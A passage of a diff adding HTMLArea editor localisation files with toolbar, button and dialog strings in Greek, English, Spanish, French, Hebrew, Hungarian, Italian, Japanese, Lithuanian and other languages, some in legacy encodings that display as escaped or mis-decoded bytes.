+ showhelp: "Spikker",
+ textindicator: "Kirjastiil",
+ undo: "Võta tagasi",
+ redo: "Tee uuesti",
+ cut: "Lõika",
+ copy: "Kopeeri",
+ paste: "Kleebi"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Loobu"
+ },
+
+ msg: {
+ "Path": "Path",
+ "TEXT_MODE": "Sa oled tekstireziimis. Kasuta nuppu [<>] lülitamaks tagasi WYSIWIG reziimi."
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "el",
+
+ tooltips: {
+ bold: "Έντονα",
+ italic: "Πλάγια",
+ underline: "Υπογραμμισμένα",
+ strikethrough: "Διαγραμμένα",
+ subscript: "Δείκτης",
+ superscript: "Δείκτης",
+ justifyleft: "Στοίχιση Αριστερά",
+ justifycenter: "Στοίχιση Κέντρο",
+ justifyright: "Στοίχιση Δεξιά",
+ justifyfull: "Πλήρης Στοίχιση",
+ orderedlist: "Αρίθμηση",
+ unorderedlist: "Κουκκίδες",
+ outdent: "Μείωση Εσοχής",
+ indent: "Αύξηση Εσοχής",
+ forecolor: "Χρώμα Γραμματοσειράς",
+ hilitecolor: "Χρώμα Φόντου",
+ horizontalrule: "Οριζόντια Γραμμή",
+ createlink: "Εισαγωγή Συνδέσμου",
+ insertimage: "Εισαγωγή/Τροποποίηση Εικόνας",
+ inserttable: "Εισαγωγή Πίνακα",
+ htmlmode: "Εναλλαγή σε/από HTML",
+ popupeditor: "Μεγένθυνση επεξεργαστή",
+ about: "Πληροφορίες",
+ showhelp: "Βοήθεια",
+ textindicator: "Παρών στυλ",
+ undo: "Αναίρεση τελευταίας ενέργειας",
+ redo: "Επαναφορά από αναίρεση",
+ cut: "Αποκοπή",
+ copy: "Αντιγραφή",
+ paste: "Επικόλληση",
+ lefttoright: "Κατεύθυνση αριστερά προς δεξιά",
+ righttoleft: "Κατεύθυνση από δεξιά προς τα αριστερά"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Ακύρωση"
+ },
+
+ msg: {
+ "Path": "Διαδρομή",
+ "TEXT_MODE": "Είστε σε TEXT MODE. Χρησιμοποιήστε το κουμπί [<>] για να επανέρθετε στο WYSIWIG.",
+
+ "IE-sucks-full-screen": "Η κατάσταση πλήρης οθόνης έχει προβλήματα με τον Internet Explorer, " +
+ "λόγω σφαλμάτων στον ίδιο τον browser. Αν το σύστημα σας είναι Windows 9x " +
+ "μπορεί και να χρειαστείτε reboot. Αν είστε σίγουροι, πατήστε ΟΚ."
+ },
+
+ dialogs: {
+ "Cancel" : "Ακύρωση",
+ "Insert/Modify Link" : "Εισαγωγή/Τροποποίηση σύνδεσμου",
+ "New window (_blank)" : "Νέο παράθυρο (_blank)",
+ "None (use implicit)" : "Κανένα (χρήση απόλυτου)",
+ "OK" : "Εντάξει",
+ "Other" : "Αλλο",
+ "Same frame (_self)" : "Ίδιο frame (_self)",
+ "Target:" : "Target:",
+ "Title (tooltip):" : "Τίτλος (tooltip):",
+ "Top frame (_top)" : "Πάνω frame (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "Πρέπει να εισάγετε το URL που οδηγεί αυτός ο σύνδεσμος"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "en",
+
+ tooltips: {
+ bold: "Bold",
+ italic: "Italic",
+ underline: "Underline",
+ strikethrough: "Strikethrough",
+ subscript: "Subscript",
+ superscript: "Superscript",
+ justifyleft: "Justify Left",
+ justifycenter: "Justify Center",
+ justifyright: "Justify Right",
+ justifyfull: "Justify Full",
+ orderedlist: "Ordered List",
+ unorderedlist: "Bulleted List",
+ outdent: "Decrease Indent",
+ indent: "Increase Indent",
+ forecolor: "Font Color",
+ hilitecolor: "Background Color",
+ horizontalrule: "Horizontal Rule",
+ createlink: "Insert Web Link",
+ insertimage: "Insert/Modify Image",
+ inserttable: "Insert Table",
+ htmlmode: "Toggle HTML Source",
+ popupeditor: "Enlarge Editor",
+ about: "About this editor",
+ showhelp: "Help using editor",
+ textindicator: "Current style",
+ undo: "Undoes your last action",
+ redo: "Redoes your last action",
+ cut: "Cut selection",
+ copy: "Copy selection",
+ paste: "Paste from clipboard",
+ lefttoright: "Direction left to right",
+ righttoleft: "Direction right to left"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Cancel"
+ },
+
+ msg: {
+ "Path": "Path",
+ "TEXT_MODE": "You are in TEXT MODE. Use the [<>] button to switch back to WYSIWYG.",
+
+ "IE-sucks-full-screen" :
+ // translate here
+ "The full screen mode is known to cause problems with Internet Explorer, " +
+ "due to browser bugs that we weren't able to workaround. You might experience garbage " +
+ "display, lack of editor functions and/or random browser crashes. If your system is Windows 9x " +
+ "it's very likely that you'll get a 'General Protection Fault' and need to reboot.\n\n" +
+ "You have been warned. Please press OK if you still want to try the full screen editor.",
+
+ "Moz-Clipboard" :
+ "Unprivileged scripts cannot access Cut/Copy/Paste programatically " +
+ "for security reasons. Click OK to see a technical note at mozilla.org " +
+ "which shows you how to allow a script to access the clipboard."
+ },
+
+ dialogs: {
+ "Cancel" : "Cancel",
+ "Insert/Modify Link" : "Insert/Modify Link",
+ "New window (_blank)" : "New window (_blank)",
+ "None (use implicit)" : "None (use implicit)",
+ "OK" : "OK",
+ "Other" : "Other",
+ "Same frame (_self)" : "Same frame (_self)",
+ "Target:" : "Target:",
+ "Title (tooltip):" : "Title (tooltip):",
+ "Top frame (_top)" : "Top frame (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "You must enter the URL where this link points to"
+ }
+};
--- /dev/null
+// I18N constants
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "es",
+
+ tooltips: {
+ bold: "Negrita",
+ italic: "Cursiva",
+ underline: "Subrayado",
+ strikethrough: "Tachado",
+ subscript: "Subíndice",
+ superscript: "Superíndice",
+ justifyleft: "Alinear a la Izquierda",
+ justifycenter: "Centrar",
+ justifyright: "Alinear a la Derecha",
+ justifyfull: "Justificar",
+ orderedlist: "Lista Ordenada",
+ unorderedlist: "Lista No Ordenada",
+ outdent: "Aumentar Sangría",
+ indent: "Disminuir Sangría",
+ forecolor: "Color del Texto",
+ hilitecolor: "Color del Fondo",
+ inserthorizontalrule: "Línea Horizontal",
+ createlink: "Insertar Enlace",
+ insertimage: "Insertar Imagen",
+ inserttable: "Insertar Tabla",
+ htmlmode: "Ver Documento en HTML",
+ popupeditor: "Ampliar Editor",
+ about: "Acerca del Editor",
+ showhelp: "Ayuda",
+ textindicator: "Estilo Actual",
+ undo: "Deshacer",
+ redo: "Rehacer",
+ cut: "Cortar selección",
+ copy: "Copiar selección",
+ paste: "Pegar desde el portapapeles"
+ },
+
+ buttons: {
+ "ok": "Aceptar",
+ "cancel": "Cancelar"
+ },
+
+ msg: {
+ "Path": "Ruta",
+ "TEXT_MODE": "Esta en modo TEXTO. Use el boton [<>] para cambiar a WYSIWIG",
+ }
+};
--- /dev/null
+// I18N constants
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "en",
+
+ tooltips: {
+ bold: "Lihavoitu",
+ italic: "Kursivoitu",
+ underline: "Alleviivattu",
+ strikethrough: "Yliviivattu",
+ subscript: "Alaindeksi",
+ superscript: "Yläindeksi",
+ justifyleft: "Tasaa vasemmat reunat",
+ justifycenter: "Keskitä",
+ justifyright: "Tasaa oikeat reunat",
+ justifyfull: "Tasaa molemmat reunat",
+ orderedlist: "Numerointi",
+ unorderedlist: "Luettelomerkit",
+ outdent: "Lisää sisennystä",
+ indent: "Pienennä sisennystä",
+ forecolor: "Fontin väri",
+ hilitecolor: "Taustaväri",
+ inserthorizontalrule: "Vaakaviiva",
+ createlink: "Lisää Linkki",
+ insertimage: "Lisää Kuva",
+ inserttable: "Lisää Taulu",
+ htmlmode: "HTML Lähdekoodi vs WYSIWYG",
+ popupeditor: "Suurenna Editori",
+ about: "Tietoja Editorista",
+ showhelp: "Näytä Ohje",
+ textindicator: "Nykyinen tyyli",
+ undo: "Peruuta viimeinen toiminto",
+ redo: "Palauta viimeinen toiminto",
+ cut: "Leikkaa maalattu",
+ copy: "Kopioi maalattu",
+ paste: "Liitä leikepyödältä"
+ },
+
+ buttons: {
+ "ok": "Hyväksy",
+ "cancel": "Peruuta"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "fr", ENCODING: UTF-8 | ISO-8859-1
+// Author: Simon Richard, s.rich@sympatico.ca
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+// All technical terms used in this document are the ones approved
+// by the Office québécois de la langue française.
+// Tous les termes techniques utilisés dans ce document sont ceux
+// approuvés par l'Office québécois de la langue française.
+// http://www.oqlf.gouv.qc.ca/
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "fr",
+
+ tooltips: {
+ bold: "Gras",
+ italic: "Italique",
+ underline: "Souligné",
+ strikethrough: "Barré",
+ subscript: "Indice",
+ superscript: "Exposant",
+ justifyleft: "Aligné à gauche",
+ justifycenter: "Centré",
+ justifyright: "Aligné à droite",
+ justifyfull: "Justifier",
+ orderedlist: "Numérotation",
+ unorderedlist: "Puces",
+ outdent: "Diminuer le retrait",
+ indent: "Augmenter le retrait",
+ forecolor: "Couleur de police",
+ hilitecolor: "Surlignage",
+ horizontalrule: "Ligne horizontale",
+ createlink: "Insérer un hyperlien",
+ insertimage: "Insérer/Modifier une image",
+ inserttable: "Insérer un tableau",
+ htmlmode: "Passer au code source",
+ popupeditor: "Agrandir l'éditeur",
+ about: "À propos de cet éditeur",
+ showhelp: "Aide sur l'éditeur",
+ textindicator: "Style courant",
+ undo: "Annuler la dernière action",
+ redo: "Répéter la dernière action",
+ cut: "Couper la sélection",
+ copy: "Copier la sélection",
+ paste: "Coller depuis le presse-papier",
+ lefttoright: "Direction de gauche à droite",
+ righttoleft: "Direction de droite à gauche"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Annuler"
+ },
+
+ msg: {
+ "Path": "Chemin",
+ "TEXT_MODE": "Vous êtes en MODE TEXTE. Appuyez sur le bouton [<>] pour retourner au mode tel-tel.",
+
+ "IE-sucks-full-screen" :
+ // translate here
+ "Le mode plein écran peut causer des problèmes sous Internet Explorer, " +
+ "ceci dû à des bogues du navigateur qui ont été impossible à contourner. " +
+ "Les différents symptômes peuvent être un affichage déficient, le manque de " +
+ "fonctions dans l'éditeur et/ou pannes aléatoires du navigateur. Si votre " +
+ "système est Windows 9x, il est possible que vous subissiez une erreur de type " +
+ "«General Protection Fault» et que vous ayez à redémarrer votre ordinateur." +
+ "\n\nConsidérez-vous comme ayant été avisé. Appuyez sur OK si vous désirez tout " +
+ "de même essayer le mode plein écran de l'éditeur."
+ },
+
+ dialogs: {
+ "Cancel" : "Annuler",
+ "Insert/Modify Link" : "Insérer/Modifier Lien",
+ "New window (_blank)" : "Nouvelle fenêtre (_blank)",
+ "None (use implicit)" : "Aucun (par défaut)",
+ "OK" : "OK",
+ "Other" : "Autre",
+ "Same frame (_self)" : "Même cadre (_self)",
+ "Target:" : "Cible:",
+ "Title (tooltip):" : "Titre (infobulle):",
+ "Top frame (_top)" : "Cadre du haut (_top)",
+ "URL:" : "Adresse Web:",
+ "You must enter the URL where this link points to" : "Vous devez entrer l'adresse Web du lien"
+ }
+};
--- /dev/null
+// I18N constants -- Chinese GB
+// by Dave Lo -- dlo@interactivetools.com
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "gb",
+
+ tooltips: {
+ bold: "´ÖÌå",
+ italic: "бÌå",
+ underline: "µ×Ïß",
+ strikethrough: "ɾ³ýÏß",
+ subscript: "챐",
+ superscript: "Éϱê",
+ justifyleft: "λÖÿ¿×ó",
+ justifycenter: "λÖþÓÖÐ",
+ justifyright: "λÖÿ¿ÓÒ",
+ justifyfull: "λÖÃ×óÓÒÆ½µÈ",
+ orderedlist: "˳ÐòÇåµ¥",
+ unorderedlist: "ÎÞÐòÇåµ¥",
+ outdent: "¼õСÐÐǰ¿Õ°×",
+ indent: "¼Ó¿íÐÐǰ¿Õ°×",
+ forecolor: "ÎÄ×ÖÑÕÉ«",
+ backcolor: "±³¾°ÑÕÉ«",
+ horizontalrule: "ˮƽÏß",
+ createlink: "²åÈëÁ¬½á",
+ insertimage: "²åÈëͼÐÎ",
+ inserttable: "²åÈë±í¸ñ",
+ htmlmode: "Çл»HTMLÔʼÂë",
+ popupeditor: "·Å´ó",
+ about: "¹Øì¶ HTMLArea",
+ help: "˵Ã÷",
+ textindicator: "×ÖÌåÀý×Ó"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "he",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "מודגש",\r\r
+ italic: "נטוי",\r\r
+ underline: "קו תחתי",\r\r
+ strikethrough: "קו אמצע",\r\r
+ subscript: "כתב עילי",\r\r
+ superscript: "כתב תחתי",\r\r
+ justifyleft: " ישור לשמאל",\r\r
+ justifycenter: "ישור למרכז",\r\r
+ justifyright: "ישור לימין",\r\r
+ justifyfull: "ישור לשורה מלאה",\r\r
+ orderedlist: "רשימה ממוספרת",\r\r
+ unorderedlist: "רשימה לא ממוספרת",\r\r
+ outdent: "הקטן כניסה",\r\r
+ indent: "הגדל כניסה",\r\r
+ forecolor: "צבע גופן",\r\r
+ hilitecolor: "צבע רקע",\r\r
+ horizontalrule: "קו אנכי",\r\r
+ createlink: "הכנס היפר-קישור",\r\r
+ insertimage: "הכנס/שנה תמונה",\r\r
+ inserttable: "הכנס טבלה",\r\r
+ htmlmode: "שנה מצב קוד HTML",\r\r
+ popupeditor: "הגדל את העורך",\r\r
+ about: "אודות עורך זה",\r\r
+ showhelp: "עזרה לשימוש בעורך",\r\r
+ textindicator: "סגנון נוכחי",\r\r
+ undo: "מבטל את פעולתך האחרונה",\r\r
+ redo: "מבצע מחדש את הפעולה האחרונה שביטלת",\r\r
+ cut: "גזור בחירה",\r\r
+ copy: "העתק בחירה",\r\r
+ paste: "הדבק מהלוח",\r\r
+ lefttoright: "כיוון משמאל לימין",\r\r
+ righttoleft: "כיוון מימין לשמאל"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "אישור",\r\r
+ "cancel": "ביטול"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "נתיב עיצוב",\r\r
+ "TEXT_MODE": "אתה במצב טקסט נקי (קוד). השתמש בכפתור [<>] כדי לחזור למצב WYSIWYG (תצוגת עיצוב).",\r\r
+\r\r
+ "IE-sucks-full-screen" :\r\r
+ // translate here\r\r
+ "מצב מסך מלא יוצר בעיות בדפדפן Internet Explorer, " +\r\r
+ "עקב באגים בדפדפן לא יכולנו לפתור את זה. את/ה עלול/ה לחוות תצוגת זבל, " +\r\r
+ "בעיות בתפקוד העורך ו/או קריסה של הדפדפן. אם המערכת שלך היא Windows 9x " +\r\r
+ "סביר להניח שתקבל/י 'General Protection Fault' ותאלצ/י לאתחל את המחשב.\n\n" +\r\r
+ "ראה/י הוזהרת. אנא לחץ/י אישור אם את/ה עדיין רוצה לנסות את העורך במסך מלא."\r\r
+ },\r\r
+\r\r
+ dialogs: {\r\r
+ "Cancel" : "ביטול",\r\r
+ "Insert/Modify Link" : "הוסף/שנה קישור",\r\r
+ "New window (_blank)" : "חלון חדש (_blank)",\r\r
+ "None (use implicit)" : "ללא (השתמש ב-frame הקיים)",\r\r
+ "OK" : "OK",\r\r
+ "Other" : "אחר",\r\r
+ "Same frame (_self)" : "אותו frame (_self)",\r\r
+ "Target:" : "יעד:",\r\r
+ "Title (tooltip):" : "כותרת (tooltip):",\r\r
+ "Top frame (_top)" : "Frame עליון (_top)",\r\r
+ "URL:" : "URL:",\r\r
+ "You must enter the URL where this link points to" : "חובה לכתוב URL שאליו קישור זה מצביע"\r\r
+\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "hu",
+
+ tooltips: {
+ bold: "Félkövér",
+ italic: "Dőlt",
+ underline: "Aláhúzott",
+ strikethrough: "Áthúzott",
+ subscript: "Alsó index",
+ superscript: "Felső index",
+ justifyleft: "Balra zárt",
+ justifycenter: "Középre zárt",
+ justifyright: "Jobbra zárt",
+ justifyfull: "Sorkizárt",
+ orderedlist: "Számozott lista",
+ unorderedlist: "Számozatlan lista",
+ outdent: "Behúzás csökkentése",
+ indent: "Behúzás növelése",
+ forecolor: "Karakterszín",
+ hilitecolor: "Háttérszín",
+ horizontalrule: "Elválasztó vonal",
+ createlink: "Hiperhivatkozás beszúrása",
+ insertimage: "Kép beszúrása",
+ inserttable: "Táblázat beszúrása",
+ htmlmode: "HTML forrás be/ki",
+ popupeditor: "Szerkesztő külön ablakban",
+ about: "Névjegy",
+ showhelp: "Súgó",
+ textindicator: "Aktuális stílus",
+ undo: "Visszavonás",
+ redo: "Újra végrehajtás",
+ cut: "Kivágás",
+ copy: "Másolás",
+ paste: "Beillesztés",
+ lefttoright: "Irány balról jobbra",
+ righttoleft: "Irány jobbról balra"
+ },
+
+ buttons: {
+ "ok": "Rendben",
+ "cancel": "Mégsem"
+ },
+
+ msg: {
+ "Path": "Hierarchia",
+ "TEXT_MODE": "Forrás mód. Visszaváltás [<>] gomb",
+
+ "IE-sucks-full-screen" :
+ // translate here
+ "A teljesképrenyős szerkesztés hibát okozhat Internet Explorer használata esetén, " +
+ "ez a böngésző a hibája, amit nem tudunk kikerülni. Szemetet észlelhet a képrenyőn, " +
+ "illetve néhány funkció hiányozhat és/vagy véletlenszerűen lefagyhat a böngésző. " +
+ "Windows 9x operaciós futtatása esetén elég valószínű, hogy 'General Protection Fault' " +
+ "hibát okoz és újra kell indítania a számítógépet.\n\n" +
+ "Figyelmeztettük. Kérjük nyomja meg a Rendben gombot, ha mégis szeretné megnyitni a " +
+ "szerkesztőt külön ablakban."
+ },
+
+ dialogs: {
+ "Cancel" : "Mégsem",
+ "Insert/Modify Link" : "Hivatkozás Beszúrása/Módosítása",
+ "New window (_blank)" : "Új ablak (_blank)",
+ "None (use implicit)" : "Nincs (use implicit)",
+ "OK" : "OK",
+ "Other" : "Más",
+ "Same frame (_self)" : "Ugyanabba a keretbe (_self)",
+ "Target:" : "Cél:",
+ "Title (tooltip):" : "Cím (tooltip):",
+ "Top frame (_top)" : "Felső keret (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "Be kell írnia az URL-t, ahova a hivatkozás mutasson"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo <fabio@rotondo.it>
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "it",
+
+ tooltips: {
+ bold: "Grassetto",
+ italic: "Italico",
+ underline: "Sottolineato",
+ strikethrough: "Barrato",
+ subscript: "Pedice",
+ superscript: "Apice",
+ justifyleft: "Giustifica a Sinistra",
+ justifycenter: "Giustifica in Centro",
+ justifyright: "Giustifica a Destra",
+ justifyfull: "Giustifica Completamente",
+ orderedlist: "Lista Ordinata",
+ unorderedlist: "Lista Puntata",
+ outdent: "Decrementa Indentazione",
+ indent: "Incrementa Indentazione",
+ forecolor: "Colore del Carattere",
+ hilitecolor: "Colore di Sfondo",
+ horizontalrule: "Linea Orizzontale",
+ createlink: "Inserisci un Link",
+ insertimage: "Inserisci un'Immagine",
+ inserttable: "Inserisci una Tabella",
+ htmlmode: "Attiva il codice HTML",
+ popupeditor: "Allarga l'editor",
+ about: "Info sull'editor",
+ showhelp: "Aiuto sull'editor",
+ textindicator: "Stile Attuale",
+ undo: "Elimina l'ultima modifica",
+ redo: "Ripristina l'ultima modifica",
+ cut: "Taglia l'area selezionata",
+ copy: "Copia l'area selezionata",
+ paste: "Incolla dalla memoria"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Annulla"
+ },
+
+ msg: {
+ "Path": "Percorso",
+ "TEXT_MODE": "Sei in MODALITA' TESTO. Usa il bottone [<>] per tornare alla modalità WYSIWYG."
+ }
+};
--- /dev/null
+// I18N constants -- Japanese EUC
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-euc",
+
+ tooltips: {
+ bold: "ÂÀ»ú",
+ italic: "¼ÐÂÎ",
+ underline: "²¼Àþ",
+ strikethrough: "ÂǤÁ¾Ã¤·Àþ",
+ subscript: "²¼Éդꤍ»ú",
+ superscript: "¾åÉդꤍ»ú",
+ justifyleft: "º¸´ó¤»",
+ justifycenter: "Ãæ±û´ó¤»",
+ justifyright: "±¦´ó¤»",
+ justifyfull: "¶ÑÅù³äÉÕ",
+ orderedlist: "ÈÖ¹æÉÕ¤²Õ¾ò½ñ¤",
+ unorderedlist: "µ¹æÉÕ¤²Õ¾ò½ñ¤",
+ outdent: "¥¤¥ó¥Ç¥ó¥È²ò½ü",
+ indent: "¥¤¥ó¥Ç¥ó¥ÈÀßÄê",
+ forecolor: "ʸ»ú¿§",
+ backcolor: "ÇØ·Ê¿§",
+ horizontalrule: "¿åÊ¿Àþ",
+ createlink: "¥ê¥ó¥¯ºîÀ®",
+ insertimage: "²èÁüÁÞÆþ",
+ inserttable: "¥Æ¡¼¥Ö¥ëÁÞÆþ",
+ htmlmode: "HTMLɽ¼¨ÀÚÂØ",
+ popupeditor: "¥¨¥Ç¥£¥¿³ÈÂç",
+ about: "¥Ð¡¼¥¸¥ç¥ó¾ðÊó",
+ help: "¥Ø¥ë¥×",
+ textindicator: "¸½ºß¤Î¥¹¥¿¥¤¥ë"
+ }
+};
--- /dev/null
+// I18N constants -- Japanese JIS
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-jis",
+
+ tooltips: {
+ bold: "\e$BB@;z\e(B",
+ italic: "\e$B<PBN\e(B",
+ underline: "\e$B2<@~\e(B",
+ strikethrough: "\e$BBG$A>C$7@~\e(B",
+ subscript: "\e$B2<IU$-E:$(;z\e(B",
+ superscript: "\e$B>eIU$-E:$(;z\e(B",
+ justifyleft: "\e$B:84s$;\e(B",
+ justifycenter: "\e$BCf1{4s$;\e(B",
+ justifyright: "\e$B1&4s$;\e(B",
+ justifyfull: "\e$B6QEy3dIU\e(B",
+ orderedlist: "\e$BHV9fIU$-2U>r=q$-\e(B",
+ unorderedlist: "\e$B5-9fIU$-2U>r=q$-\e(B",
+ outdent: "\e$B%$%s%G%s%H2r=|\e(B",
+ indent: "\e$B%$%s%G%s%H@_Dj\e(B",
+ forecolor: "\e$BJ8;z?'\e(B",
+ backcolor: "\e$BGX7J?'\e(B",
+ horizontalrule: "\e$B?eJ?@~\e(B",
+ createlink: "\e$B%j%s%/:n@.\e(B",
+ insertimage: "\e$B2hA|A^F~\e(B",
+ inserttable: "\e$B%F!<%V%kA^F~\e(B",
+ htmlmode: "HTML\e$BI=<(@ZBX\e(B",
+ popupeditor: "\e$B%(%G%#%?3HBg\e(B",
+ about: "\e$B%P!<%8%g%s>pJs\e(B",
+ help: "\e$B%X%k%W\e(B",
+ textindicator: "\e$B8=:_$N%9%?%$%k\e(B"
+ }
+};
--- /dev/null
+// I18N constants -- Japanese Shift-JIS
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-sjis",
+
+ tooltips: {
+ bold: "\91¾\8e\9a",
+ italic: "\8eÎ\91Ì",
+ underline: "\89º\90ü",
+ strikethrough: "\91Å\82¿\8fÁ\82µ\90ü",
+ subscript: "\89º\95t\82«\93Y\82¦\8e\9a",
+ superscript: "\8fã\95t\82«\93Y\82¦\8e\9a",
+ justifyleft: "\8d¶\8añ\82¹",
+ justifycenter: "\92\86\89\9b\8añ\82¹",
+ justifyright: "\89E\8añ\82¹",
+ justifyfull: "\8bÏ\93\99\8a\84\95t",
+ orderedlist: "\94Ô\8d\86\95t\82«\89Ó\8fð\8f\91\82«",
+ unorderedlist: "\8bL\8d\86\95t\82«\89Ó\8fð\8f\91\82«",
+ outdent: "\83C\83\93\83f\83\93\83g\89ð\8f\9c",
+ indent: "\83C\83\93\83f\83\93\83g\90Ý\92è",
+ forecolor: "\95¶\8e\9a\90F",
+ backcolor: "\94w\8ci\90F",
+ horizontalrule: "\90\85\95½\90ü",
+ createlink: "\83\8a\83\93\83N\8dì\90¬",
+ insertimage: "\89æ\91\9c\91}\93ü",
+ inserttable: "\83e\81[\83u\83\8b\91}\93ü",
+ htmlmode: "HTML\95\\8e¦\90Ø\91Ö",
+ popupeditor: "\83G\83f\83B\83^\8ag\91å",
+ about: "\83o\81[\83W\83\87\83\93\8fî\95ñ",
+ help: "\83w\83\8b\83v",
+ textindicator: "\8c»\8dÝ\82Ì\83X\83^\83C\83\8b"
+ }
+};
--- /dev/null
+// I18N constants -- Japanese UTF-8
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-utf8",
+
+ tooltips: {
+ bold: "太字",
+ italic: "斜体",
+ underline: "下線",
+ strikethrough: "打ち消し線",
+ subscript: "下付き添え字",
+ superscript: "上付き添え字",
+ justifyleft: "左寄せ",
+ justifycenter: "中央寄せ",
+ justifyright: "右寄せ",
+ justifyfull: "均等割付",
+ orderedlist: "番号付き箇条書き",
+ unorderedlist: "記号付き箇条書き",
+ outdent: "インデント解除",
+ indent: "インデント設定",
+ forecolor: "文字色",
+ backcolor: "背景色",
+ horizontalrule: "水平線",
+ createlink: "リンク作成",
+ insertimage: "画像挿入",
+ inserttable: "テーブル挿入",
+ htmlmode: "HTML表示切替",
+ popupeditor: "エディタ拡大",
+ about: "バージョン情報",
+ help: "ヘルプ",
+ textindicator: "現在のスタイル"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "lt", ENCODING: UTF-8
+// Author: Jaroslav Šatkevič, <jaro@akl.lt>
+
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "lt",
+
+ tooltips: {
+ bold: "Paryškinti",
+ italic: "Kursyvas",
+ underline: "Pabraukti",
+ strikethrough: "Perbraukti",
+ subscript: "Apatinis indeksas",
+ superscript: "Viršutinis indeksas",
+ justifyleft: "Lygiavimas pagal kairę",
+ justifycenter: "Lygiavimas pagal centrą",
+ justifyright: "Lygiavimas pagal dešinę",
+ justifyfull: "Lygiuoti pastraipą",
+ orderedlist: "Numeruotas sąrašas",
+ unorderedlist: "Suženklintas sąrašas",
+ outdent: "Sumažinti paraštę",
+ indent: "Padidinti paraštę",
+ forecolor: "Šrifto spalva",
+ hilitecolor: "Fono spalva",
+ horizontalrule: "Horizontali linija",
+ createlink: "Įterpti nuorodą",
+ insertimage: "Įterpti paveiksliuką",
+ inserttable: "Įterpti lentelę",
+ htmlmode: "Perjungti į HTML/WYSIWYG",
+ popupeditor: "Išplėstas redagavimo ekranas/Enlarge Editor",
+ about: "Apie redaktorių",
+ showhelp: "Pagalba naudojant redaktorių",
+ textindicator: "Dabartinis stilius",
+ undo: "Atšaukia paskutini jūsų veiksmą",
+ redo: "Pakartoja paskutinį atšauktą jūsų veiksmą",
+ cut: "Iškirpti",
+ copy: "Kopijuoti",
+ paste: "Įterpti"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Atšaukti"
+ },
+
+ msg: {
